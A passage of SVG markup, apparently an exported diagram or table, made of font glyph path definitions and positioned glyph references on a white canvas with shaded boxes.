-7.328125 L 1.8125 -2.84375 C 1.8125 -2.101562 1.890625 -1.570312 2.046875 -1.25 C 2.203125 -0.9375 2.476562 -0.78125 2.875 -0.78125 C 3.082031 -0.78125 3.265625 -0.820312 3.421875 -0.90625 C 3.585938 -0.988281 3.734375 -1.097656 3.859375 -1.234375 C 3.984375 -1.367188 4.09375 -1.523438 4.1875 -1.703125 C 4.289062 -1.878906 4.375 -2.0625 4.4375 -2.25 L 4.4375 -7.328125 L 5.484375 -7.328125 L 5.484375 -2.078125 C 5.484375 -1.734375 5.492188 -1.367188 5.515625 -0.984375 C 5.546875 -0.609375 5.585938 -0.28125 5.640625 0 L 4.890625 0 L 4.625 -1.03125 L 4.578125 -1.03125 C 4.410156 -0.707031 4.171875 -0.425781 3.859375 -0.1875 C 3.546875 0.0507812 3.15625 0.171875 2.6875 0.171875 C 2.375 0.171875 2.097656 0.128906 1.859375 0.046875 C 1.628906 -0.0234375 1.429688 -0.160156 1.265625 -0.359375 C 1.097656 -0.566406 0.972656 -0.847656 0.890625 -1.203125 C 0.804688 -1.566406 0.765625 -2.023438 0.765625 -2.578125 L 0.765625 -7.328125 Z M 1.8125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-42"> +<path style="stroke:none;" d="M 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.253906 -9.328125 1.515625 -9.734375 C 1.785156 -10.148438 2.238281 -10.359375 2.875 -10.359375 C 3.125 -10.359375 3.351562 -10.34375 3.5625 -10.3125 C 3.769531 -10.28125 3.984375 -10.21875 4.203125 -10.125 L 3.9375 -9.21875 C 3.757812 -9.289062 3.59375 -9.335938 3.4375 -9.359375 C 3.289062 -9.390625 3.144531 -9.40625 3 -9.40625 C 2.8125 -9.40625 2.660156 -9.363281 2.546875 -9.28125 C 2.441406 -9.207031 2.363281 -9.085938 2.3125 -8.921875 C 2.257812 -8.753906 2.222656 -8.539062 2.203125 -8.28125 C 2.191406 -8.019531 2.1875 -7.703125 2.1875 -7.328125 L 3.71875 -7.328125 L 3.71875 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 Z M 0.234375 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-43"> +<path style="stroke:none;" d="M 5.65625 -10.265625 L 6.703125 -10.265625 L 6.703125 -3.390625 C 6.703125 -2.148438 6.457031 -1.253906 5.96875 -0.703125 C 5.488281 -0.148438 4.804688 0.125 3.921875 0.125 C 2.878906 0.125 2.117188 -0.140625 1.640625 -0.671875 C 1.171875 -1.210938 0.9375 -2.039062 0.9375 -3.15625 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -3.734375 C 2.046875 -3.203125 2.078125 -2.753906 2.140625 -2.390625 C 2.210938 -2.023438 2.328125 -1.726562 2.484375 -1.5 C 2.640625 -1.28125 2.832031 -1.117188 3.0625 -1.015625 C 3.300781 -0.921875 3.59375 -0.875 3.9375 -0.875 C 4.582031 -0.875 5.03125 -1.097656 5.28125 -1.546875 C 5.53125 -2.003906 5.65625 -2.734375 5.65625 -3.734375 Z M 5.65625 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-44"> +<path style="stroke:none;" d="M 0.9375 -10.265625 C 1.09375 -10.296875 1.265625 -10.316406 1.453125 -10.328125 C 1.648438 -10.347656 1.84375 -10.359375 2.03125 -10.359375 C 2.226562 -10.367188 2.421875 -10.375 2.609375 -10.375 C 2.804688 -10.382812 2.988281 -10.390625 3.15625 -10.390625 C 3.863281 -10.390625 4.46875 -10.265625 4.96875 -10.015625 C 5.46875 -9.773438 5.875 -9.425781 6.1875 -8.96875 C 6.5 -8.519531 6.722656 -7.972656 6.859375 -7.328125 C 7.003906 -6.691406 7.078125 -5.984375 7.078125 -5.203125 C 7.078125 -4.503906 7.007812 -3.832031 6.875 -3.1875 C 6.738281 -2.539062 6.515625 -1.972656 6.203125 -1.484375 C 5.890625 -0.992188 5.476562 -0.601562 4.96875 -0.3125 C 4.457031 -0.0195312 3.8125 0.125 3.03125 0.125 C 2.90625 0.125 2.742188 0.125 2.546875 0.125 C 2.359375 0.125 2.15625 0.113281 1.9375 0.09375 C 1.726562 0.0820312 1.53125 0.0703125 1.34375 0.0625 C 1.164062 0.0507812 1.03125 0.0351562 0.9375 0.015625 Z M 3.21875 -9.375 C 3.113281 -9.375 3.003906 -9.375 2.890625 -9.375 C 2.785156 -9.375 2.675781 -9.367188 2.5625 -9.359375 C 2.457031 -9.347656 2.359375 -9.335938 2.265625 -9.328125 C 2.171875 -9.316406 2.097656 -9.304688 2.046875 -9.296875 L 2.046875 -0.9375 C 2.078125 -0.925781 2.144531 -0.914062 2.25 -0.90625 C 2.351562 -0.90625 2.460938 -0.898438 2.578125 -0.890625 C 2.691406 -0.890625 2.796875 -0.882812 2.890625 -0.875 C 2.992188 -0.875 3.070312 -0.875 3.125 -0.875 C 3.664062 -0.875 4.113281 -0.988281 4.46875 -1.21875 C 4.832031 -1.457031 5.117188 -1.773438 5.328125 -2.171875 C 5.546875 -2.566406 5.695312 -3.023438 5.78125 -3.546875 C 5.863281 -4.078125 5.90625 -4.632812 5.90625 -5.21875 C 5.90625 -5.738281 5.863281 -6.25 5.78125 -6.75 C 5.707031 -7.25 5.570312 -7.691406 5.375 -8.078125 C 5.175781 -8.460938 4.898438 -8.773438 4.546875 -9.015625 C 4.203125 -9.253906 3.757812 -9.375 3.21875 -9.375 Z M 3.21875 -9.375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-45"> +<path style="stroke:none;" d="M 0.9375 -10.171875 C 1.25 -10.253906 1.582031 -10.3125 1.9375 -10.34375 C 2.289062 -10.375 2.640625 -10.390625 2.984375 -10.390625 C 3.367188 -10.390625 3.75 -10.34375 4.125 -10.25 C 4.507812 -10.164062 4.859375 -10.003906 5.171875 -9.765625 C 5.484375 -9.535156 5.734375 -9.210938 5.921875 -8.796875 C 6.109375 -8.390625 6.203125 -7.867188 6.203125 -7.234375 C 6.203125 -6.617188 6.109375 -6.09375 5.921875 -5.65625 C 5.742188 -5.226562 5.503906 -4.878906 5.203125 -4.609375 C 4.910156 -4.335938 4.570312 -4.140625 4.1875 -4.015625 C 3.800781 -3.898438 3.40625 -3.84375 3 -3.84375 C 2.957031 -3.84375 2.890625 -3.84375 2.796875 -3.84375 C 2.710938 -3.84375 2.617188 -3.84375 2.515625 -3.84375 C 2.421875 -3.851562 2.328125 -3.863281 2.234375 -3.875 C 2.140625 -3.882812 2.078125 -3.894531 2.046875 -3.90625 L 2.046875 0 L 0.9375 0 Z M 3.03125 -9.375 C 2.84375 -9.375 2.65625 -9.363281 2.46875 -9.34375 C 2.289062 -9.332031 2.148438 -9.3125 2.046875 -9.28125 L 2.046875 -4.921875 C 2.078125 -4.898438 2.132812 -4.882812 2.21875 -4.875 C 2.300781 -4.875 2.382812 -4.867188 2.46875 -4.859375 C 2.5625 -4.859375 2.648438 -4.859375 2.734375 -4.859375 C 2.816406 -4.859375 2.878906 -4.859375 2.921875 -4.859375 C 3.191406 -4.859375 3.453125 -4.890625 3.703125 -4.953125 C 3.960938 -5.023438 4.191406 -5.148438 4.390625 -5.328125 C 4.585938 -5.515625 4.742188 -5.757812 4.859375 -6.0625 C 4.984375 -6.375 5.046875 -6.765625 5.046875 -7.234375 C 5.046875 -7.640625 4.988281 -7.976562 4.875 -8.25 C 4.757812 -8.53125 4.613281 -8.753906 4.4375 -8.921875 C 4.257812 -9.085938 4.046875 -9.203125 3.796875 -9.265625 C 3.554688 -9.335938 3.300781 -9.375 3.03125 -9.375 Z M 3.03125 -9.375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-46"> +<path style="stroke:none;" d="M 1.0625 -7.328125 L 2.109375 -7.328125 L 2.109375 0.390625 C 2.109375 1.398438 1.945312 2.128906 1.625 2.578125 C 1.300781 3.023438 0.78125 3.191406 0.0625 3.078125 L 0.0625 2.125 C 0.269531 2.125 0.441406 2.078125 0.578125 1.984375 C 0.710938 1.898438 0.816406 1.769531 0.890625 1.59375 C 0.960938 1.414062 1.007812 1.191406 1.03125 0.921875 C 1.050781 0.648438 1.0625 0.332031 1.0625 -0.03125 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-47"> +<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.453125 C 4.625 -5.140625 4.539062 -5.660156 4.375 -6.015625 C 4.21875 -6.378906 3.898438 -6.5625 3.421875 -6.5625 C 3.078125 -6.5625 2.765625 -6.4375 2.484375 -6.1875 C 2.203125 -5.945312 2.015625 -5.640625 1.921875 -5.265625 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.640625 L 1.96875 -6.640625 C 2.164062 -6.898438 2.40625 -7.109375 2.6875 -7.265625 C 2.976562 -7.429688 3.335938 -7.515625 3.765625 -7.515625 C 4.085938 -7.515625 4.367188 -7.46875 4.609375 -7.375 C 4.847656 -7.289062 5.046875 -7.140625 5.203125 -6.921875 C 5.359375 -6.710938 5.472656 -6.425781 5.546875 -6.0625 C 5.628906 -5.707031 5.671875 -5.265625 5.671875 -4.734375 L 5.671875 0 Z M 4.625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-48"> +<path style="stroke:none;" d="M 6.3125 -0.390625 C 6.0625 -0.191406 5.75 -0.0507812 5.375 0.03125 C 5.007812 0.125 4.617188 0.171875 4.203125 0.171875 C 3.691406 0.171875 3.210938 0.078125 2.765625 -0.109375 C 2.328125 -0.304688 1.945312 -0.617188 1.625 -1.046875 C 1.3125 -1.472656 1.066406 -2.023438 0.890625 -2.703125 C 0.710938 -3.378906 0.625 -4.191406 0.625 -5.140625 C 0.625 -6.117188 0.722656 -6.941406 0.921875 -7.609375 C 1.128906 -8.285156 1.398438 -8.832031 1.734375 -9.25 C 2.066406 -9.675781 2.445312 -9.984375 2.875 -10.171875 C 3.3125 -10.359375 3.757812 -10.453125 4.21875 -10.453125 C 4.695312 -10.453125 5.085938 -10.414062 5.390625 -10.34375 C 5.703125 -10.269531 5.96875 -10.1875 6.1875 -10.09375 L 5.921875 -9.09375 C 5.734375 -9.207031 5.503906 -9.289062 5.234375 -9.34375 C 4.972656 -9.40625 4.671875 -9.4375 4.328125 -9.4375 C 3.984375 -9.4375 3.660156 -9.359375 3.359375 -9.203125 C 3.054688 -9.054688 2.785156 -8.8125 2.546875 -8.46875 C 2.316406 -8.132812 2.132812 -7.691406 2 -7.140625 C 1.863281 -6.597656 1.796875 -5.929688 1.796875 -5.140625 C 1.796875 -3.710938 2.035156 -2.640625 2.515625 -1.921875 C 3.003906 -1.203125 3.65625 -0.84375 4.46875 -0.84375 C 4.800781 -0.84375 5.097656 -0.882812 5.359375 -0.96875 C 5.628906 -1.0625 5.859375 -1.175781 6.046875 -1.3125 Z M 6.3125 -0.390625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-49"> +<path style="stroke:none;" d="M 2.875 0.171875 C 2.445312 0.148438 2.066406 0.101562 1.734375 0.03125 C 1.410156 -0.03125 1.140625 -0.128906 0.921875 -0.265625 L 1.265625 -1.265625 C 1.421875 -1.148438 1.632812 -1.046875 1.90625 -0.953125 C 2.175781 -0.859375 2.5 -0.800781 2.875 -0.78125 L 2.875 -4.9375 C 2.632812 -5.09375 2.394531 -5.257812 2.15625 -5.4375 C 1.925781 -5.613281 1.722656 -5.816406 1.546875 -6.046875 C 1.367188 -6.285156 1.222656 -6.554688 1.109375 -6.859375 C 0.992188 -7.171875 0.9375 -7.539062 0.9375 -7.96875 C 0.9375 -8.613281 1.097656 -9.148438 1.421875 -9.578125 C 1.753906 -10.015625 2.238281 -10.289062 2.875 -10.40625 L 2.875 -11.734375 L 3.765625 -11.734375 L 3.765625 -10.4375 C 4.148438 -10.414062 4.46875 -10.375 4.71875 -10.3125 C 4.976562 -10.257812 5.21875 -10.179688 5.4375 -10.078125 L 5.109375 -9.125 C 4.941406 -9.21875 4.753906 -9.296875 4.546875 -9.359375 C 4.335938 -9.421875 4.078125 -9.460938 3.765625 -9.484375 L 3.765625 -5.6875 C 4.015625 -5.519531 4.257812 -5.34375 4.5 -5.15625 C 4.75 -4.976562 4.96875 -4.769531 5.15625 -4.53125 C 5.34375 -4.289062 5.492188 -4.015625 5.609375 -3.703125 C 5.734375 -3.398438 5.796875 -3.039062 5.796875 -2.625 C 5.796875 -1.914062 5.617188 -1.316406 5.265625 -0.828125 C 4.921875 -0.347656 4.421875 -0.0351562 3.765625 0.109375 L 3.765625 1.46875 L 2.875 1.46875 Z M 3.53125 -0.84375 C 3.882812 -0.914062 4.164062 -1.09375 4.375 -1.375 C 4.582031 -1.664062 4.6875 -2.054688 4.6875 -2.546875 C 4.6875 -3.015625 4.570312 -3.394531 4.34375 -3.6875 C 4.125 -3.988281 3.851562 -4.253906 3.53125 -4.484375 Z M 3.109375 -9.453125 C 2.710938 -9.367188 2.4375 -9.1875 2.28125 -8.90625 C 2.125 -8.625 2.046875 -8.328125 2.046875 -8.015625 C 2.046875 -7.578125 2.144531 -7.21875 2.34375 -6.9375 C 2.539062 -6.65625 2.796875 -6.394531 3.109375 -6.15625 Z M 3.109375 -9.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-50"> +<path style="stroke:none;" d="M 0.6875 -4.6875 L 3.578125 -4.6875 L 3.578125 -3.6875 L 0.6875 -3.6875 Z M 0.6875 -4.6875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-51"> +<path style="stroke:none;" d="M 5.5625 -5.046875 L 5.5625 -4.625 L 1.1875 -1.34375 L 0.59375 -2.125 L 3.40625 -4.25 L 4.46875 -4.8125 L 3.421875 -5.28125 L 0.53125 -7.390625 L 1.109375 -8.171875 Z M 5.5625 -5.046875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-52"> +<path style="stroke:none;" d="M 2.6875 3.234375 C 2.3125 2.765625 2 2.25 1.75 1.6875 C 1.5 1.125 1.296875 0.546875 1.140625 -0.046875 C 0.984375 -0.640625 0.867188 -1.238281 0.796875 -1.84375 C 0.734375 -2.445312 0.703125 -3.019531 0.703125 -3.5625 C 0.703125 -4.101562 0.734375 -4.671875 0.796875 -5.265625 C 0.867188 -5.859375 0.984375 -6.457031 1.140625 -7.0625 C 1.296875 -7.664062 1.503906 -8.253906 1.765625 -8.828125 C 2.023438 -9.410156 2.34375 -9.953125 2.71875 -10.453125 L 3.375 -10.046875 C 3.0625 -9.546875 2.800781 -9.019531 2.59375 -8.46875 C 2.382812 -7.925781 2.21875 -7.375 2.09375 -6.8125 C 1.976562 -6.25 1.894531 -5.691406 1.84375 -5.140625 C 1.789062 -4.585938 1.765625 -4.0625 1.765625 -3.5625 C 1.765625 -3.09375 1.789062 -2.578125 1.84375 -2.015625 C 1.90625 -1.453125 2 -0.882812 2.125 -0.3125 C 2.257812 0.25 2.429688 0.796875 2.640625 1.328125 C 2.847656 1.867188 3.09375 2.351562 3.375 2.78125 Z M 2.6875 3.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-53"> +<path style="stroke:none;" d="M 0.703125 2.78125 C 0.984375 2.351562 1.226562 1.867188 1.4375 1.328125 C 1.644531 0.796875 1.8125 0.25 1.9375 -0.3125 C 2.070312 -0.882812 2.164062 -1.453125 2.21875 -2.015625 C 2.28125 -2.578125 2.3125 -3.09375 2.3125 -3.5625 C 2.3125 -4.0625 2.285156 -4.585938 2.234375 -5.140625 C 2.179688 -5.691406 2.09375 -6.25 1.96875 -6.8125 C 1.851562 -7.375 1.6875 -7.925781 1.46875 -8.46875 C 1.257812 -9.019531 1.003906 -9.546875 0.703125 -10.046875 L 1.359375 -10.453125 C 1.734375 -9.953125 2.050781 -9.410156 2.3125 -8.828125 C 2.570312 -8.253906 2.78125 -7.664062 2.9375 -7.0625 C 3.09375 -6.457031 3.203125 -5.859375 3.265625 -5.265625 C 3.335938 -4.671875 3.375 -4.101562 3.375 -3.5625 C 3.375 -3.019531 3.335938 -2.445312 3.265625 -1.84375 C 3.203125 -1.238281 3.09375 -0.640625 2.9375 -0.046875 C 2.78125 0.546875 2.570312 1.125 2.3125 1.6875 C 2.0625 2.25 1.753906 2.765625 1.390625 3.234375 Z M 0.703125 2.78125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-54"> +<path style="stroke:none;" d="M 2.515625 -6.515625 L 1.875 -8.125 L 1.828125 -8.125 L 2 -6.515625 L 2 0 L 0.9375 0 L 0.9375 -10.4375 L 1.59375 -10.4375 L 5.40625 -3.765625 L 6 -2.234375 L 6.0625 -2.234375 L 5.890625 -3.765625 L 5.890625 -10.265625 L 6.953125 -10.265625 L 6.953125 0.15625 L 6.28125 0.15625 Z M 2.515625 -6.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-55"> +<path style="stroke:none;" d="M 0.46875 -0.953125 L 3.203125 -5.75 L 3.71875 -6.375 L 0.46875 -6.375 L 0.46875 -7.328125 L 4.75 -7.328125 L 4.75 -6.375 L 2.015625 -1.546875 L 1.515625 -0.953125 L 4.75 -0.953125 L 4.75 0 L 0.46875 0 Z M 0.46875 -0.953125 "/> +</symbol> +</g> +</defs> +<g id="surface21510"> +<rect x="0" y="0" width="821" height="378" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M -1 24 L 40 24 L 40 42.8 L -1 42.8 Z M -1 24 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="611.15625" y="41.00217"/> + <use xlink:href="#glyph0-2" x="618.378472" y="41.00217"/> + <use xlink:href="#glyph0-3" x="626.434028" y="41.00217"/> + <use xlink:href="#glyph0-4" x="635.322917" y="41.00217"/> + <use xlink:href="#glyph0-5" x="640.045139" y="41.00217"/> + <use xlink:href="#glyph0-6" x="648.378472" y="41.00217"/> + <use xlink:href="#glyph0-7" x="652.545139" y="41.00217"/> + <use xlink:href="#glyph0-8" x="656.989583" y="41.00217"/> + <use xlink:href="#glyph0-9" x="665.878472" y="41.00217"/> + <use xlink:href="#glyph0-10" x="671.434028" y="41.00217"/> + <use xlink:href="#glyph0-11" x="680.322917" y="41.00217"/> + <use xlink:href="#glyph0-12" x="689.211806" y="41.00217"/> + <use xlink:href="#glyph0-13" x="698.100694" y="41.00217"/> + <use xlink:href="#glyph0-14" x="705.322917" y="41.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.3 26.486328 C 25.134375 26.486328 25 26.620703 25 26.786328 L 25 30.186328 C 25 30.351953 25.134375 30.486328 25.3 30.486328 L 38.7 30.486328 C 38.865625 30.486328 39 30.351953 39 30.186328 L 39 26.786328 C 39 26.620703 38.865625 26.486328 38.7 26.486328 Z M 25.3 26.486328 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 27.59043 L 39 27.59043 L 39 28.476367 L 25 28.476367 Z M 25 27.59043 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="528.78125" y="68.205404"/> + <use xlink:href="#glyph1-2" x="531.836806" y="68.205404"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="553.225694" y="68.205404"/> + <use xlink:href="#glyph1-4" x="559.614583" y="68.205404"/> + <use xlink:href="#glyph1-5" x="565.447917" y="68.205404"/> + <use xlink:href="#glyph1-6" x="574.892361" y="68.205404"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-7" x="602.114583" y="68.205404"/> + <use xlink:href="#glyph1-8" x="608.503472" y="68.205404"/> + <use xlink:href="#glyph1-1" x="612.392361" y="68.205404"/> + <use xlink:href="#glyph1-9" x="615.447917" y="68.205404"/> + <use xlink:href="#glyph1-6" x="620.447917" y="68.205404"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="651.003472" y="68.205404"/> + <use xlink:href="#glyph1-10" x="654.059028" y="68.205404"/> + <use xlink:href="#glyph1-2" x="657.114583" y="68.205404"/> + <use xlink:href="#glyph1-6" x="663.503472" y="68.205404"/> + <use xlink:href="#glyph1-11" x="669.614583" y="68.205404"/> + <use xlink:href="#glyph1-9" x="674.614583" y="68.205404"/> + <use xlink:href="#glyph1-8" x="679.892361" y="68.205404"/> + <use xlink:href="#glyph1-1" x="683.78125" y="68.205404"/> + <use xlink:href="#glyph1-7" x="686.836806" y="68.205404"/> + <use xlink:href="#glyph1-12" x="693.225694" y="68.205404"/> + <use xlink:href="#glyph1-1" x="697.392361" y="68.205404"/> + <use xlink:href="#glyph1-13" x="700.447917" y="68.205404"/> + <use xlink:href="#glyph1-3" x="706.836806" y="68.205404"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="724.336806" y="68.205404"/> + <use xlink:href="#glyph1-10" x="727.392361" y="68.205404"/> + <use xlink:href="#glyph1-10" x="730.447917" y="68.205404"/> + <use xlink:href="#glyph1-9" x="733.503472" y="68.205404"/> + <use xlink:href="#glyph1-4" x="738.78125" y="68.205404"/> + <use xlink:href="#glyph1-12" x="744.614583" y="68.205404"/> + <use xlink:href="#glyph1-6" x="748.503472" y="68.205404"/> + <use xlink:href="#glyph1-14" x="754.336806" y="68.205404"/> + <use xlink:href="#glyph1-13" x="760.725694" y="68.205404"/> + <use xlink:href="#glyph1-8" x="767.114583" y="68.205404"/> + <use xlink:href="#glyph1-15" x="771.003472" y="68.205404"/> + <use xlink:href="#glyph1-16" x="776.559028" y="68.205404"/> + <use xlink:href="#glyph1-1" x="781.559028" y="68.205404"/> + <use xlink:href="#glyph1-2" x="784.614583" y="68.205404"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-17" x="528.78125" y="86.549154"/> + <use xlink:href="#glyph1-18" x="535.447917" y="86.549154"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-19" x="553.225694" y="86.549154"/> + <use xlink:href="#glyph1-1" x="560.170139" y="86.549154"/> + <use xlink:href="#glyph1-20" x="563.225694" y="86.549154"/> + <use xlink:href="#glyph1-6" x="568.78125" y="86.549154"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-21" x="602.114583" y="86.549154"/> + <use xlink:href="#glyph1-22" x="608.78125" y="86.549154"/> + <use xlink:href="#glyph1-23" x="615.447917" y="86.549154"/> + <use xlink:href="#glyph1-23" x="622.114583" y="86.549154"/> + <use xlink:href="#glyph1-24" x="628.78125" y="86.549154"/> + <use xlink:href="#glyph1-23" x="631.28125" y="86.549154"/> + <use xlink:href="#glyph1-23" x="637.947917" y="86.549154"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="651.003472" y="86.549154"/> + <use xlink:href="#glyph1-10" x="654.059028" y="86.549154"/> + <use xlink:href="#glyph1-25" x="657.114583" y="86.549154"/> + <use xlink:href="#glyph1-26" x="663.503472" y="86.549154"/> + <use xlink:href="#glyph1-6" x="669.336806" y="86.549154"/> + <use xlink:href="#glyph1-2" x="675.447917" y="86.549154"/> + <use xlink:href="#glyph1-10" x="681.836806" y="86.549154"/> + <use xlink:href="#glyph1-24" x="684.614583" y="86.549154"/> + <use xlink:href="#glyph1-24" x="687.392361" y="86.549154"/> + <use xlink:href="#glyph1-24" x="690.170139" y="86.549154"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="724.336806" y="86.549154"/> + <use xlink:href="#glyph1-10" x="727.392361" y="86.549154"/> + <use xlink:href="#glyph1-10" x="730.447917" y="86.549154"/> + <use xlink:href="#glyph1-18" x="733.503472" y="86.549154"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-17" x="528.78125" y="104.892904"/> + <use xlink:href="#glyph1-27" x="535.447917" y="104.892904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-28" x="553.225694" y="104.892904"/> + <use xlink:href="#glyph1-6" x="561.003472" y="104.892904"/> + <use xlink:href="#glyph1-29" x="567.114583" y="104.892904"/> + <use xlink:href="#glyph1-5" x="570.447917" y="104.892904"/> + <use xlink:href="#glyph1-6" x="579.892361" y="104.892904"/> + <use xlink:href="#glyph1-12" x="586.003472" y="104.892904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-21" x="602.114583" y="104.892904"/> + <use xlink:href="#glyph1-18" x="608.78125" y="104.892904"/> + <use xlink:href="#glyph1-23" x="615.447917" y="104.892904"/> + <use xlink:href="#glyph1-24" x="622.114583" y="104.892904"/> + <use xlink:href="#glyph1-30" x="624.614583" y="104.892904"/> + <use xlink:href="#glyph1-30" x="631.28125" y="104.892904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="651.003472" y="104.892904"/> + <use xlink:href="#glyph1-10" x="654.059028" y="104.892904"/> + <use xlink:href="#glyph1-31" x="657.114583" y="104.892904"/> + <use xlink:href="#glyph1-29" x="663.503472" y="104.892904"/> + <use xlink:href="#glyph1-4" x="666.836806" y="104.892904"/> + <use xlink:href="#glyph1-9" x="672.670139" y="104.892904"/> + <use xlink:href="#glyph1-20" x="677.947917" y="104.892904"/> + <use xlink:href="#glyph1-10" x="683.225694" y="104.892904"/> + <use xlink:href="#glyph1-24" x="686.003472" y="104.892904"/> + <use xlink:href="#glyph1-24" x="688.78125" y="104.892904"/> + <use xlink:href="#glyph1-24" x="691.559028" y="104.892904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="724.336806" y="104.892904"/> + <use xlink:href="#glyph1-10" x="727.392361" y="104.892904"/> + <use xlink:href="#glyph1-10" x="730.447917" y="104.892904"/> + <use xlink:href="#glyph1-32" x="733.503472" y="104.892904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-17" x="528.78125" y="123.24056"/> + <use xlink:href="#glyph1-33" x="535.447917" y="123.24056"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-34" x="553.225694" y="123.24056"/> + <use xlink:href="#glyph1-6" x="556.836806" y="123.24056"/> + <use xlink:href="#glyph1-8" x="562.947917" y="123.24056"/> + <use xlink:href="#glyph1-11" x="566.836806" y="123.24056"/> + <use xlink:href="#glyph1-6" x="571.836806" y="123.24056"/> + <use xlink:href="#glyph1-15" x="577.670139" y="123.24056"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-21" x="602.114583" y="123.24056"/> + <use xlink:href="#glyph1-27" x="608.78125" y="123.24056"/> + <use xlink:href="#glyph1-35" x="615.447917" y="123.24056"/> + <use xlink:href="#glyph1-24" x="622.114583" y="123.24056"/> + <use xlink:href="#glyph1-23" x="624.614583" y="123.24056"/> + <use xlink:href="#glyph1-23" x="631.28125" y="123.24056"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="651.003472" y="123.24056"/> + <use xlink:href="#glyph1-10" x="654.059028" y="123.24056"/> + <use xlink:href="#glyph1-36" x="657.114583" y="123.24056"/> + <use xlink:href="#glyph1-13" x="665.725694" y="123.24056"/> + <use xlink:href="#glyph1-5" x="672.114583" y="123.24056"/> + <use xlink:href="#glyph1-6" x="681.559028" y="123.24056"/> + <use xlink:href="#glyph1-3" x="687.670139" y="123.24056"/> + <use xlink:href="#glyph1-37" x="694.059028" y="123.24056"/> + <use xlink:href="#glyph1-11" x="696.003472" y="123.24056"/> + <use xlink:href="#glyph1-10" x="701.003472" y="123.24056"/> + <use xlink:href="#glyph1-24" x="703.78125" y="123.24056"/> + <use xlink:href="#glyph1-24" x="706.559028" y="123.24056"/> + <use xlink:href="#glyph1-24" x="709.336806" y="123.24056"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="724.336806" y="123.24056"/> + <use 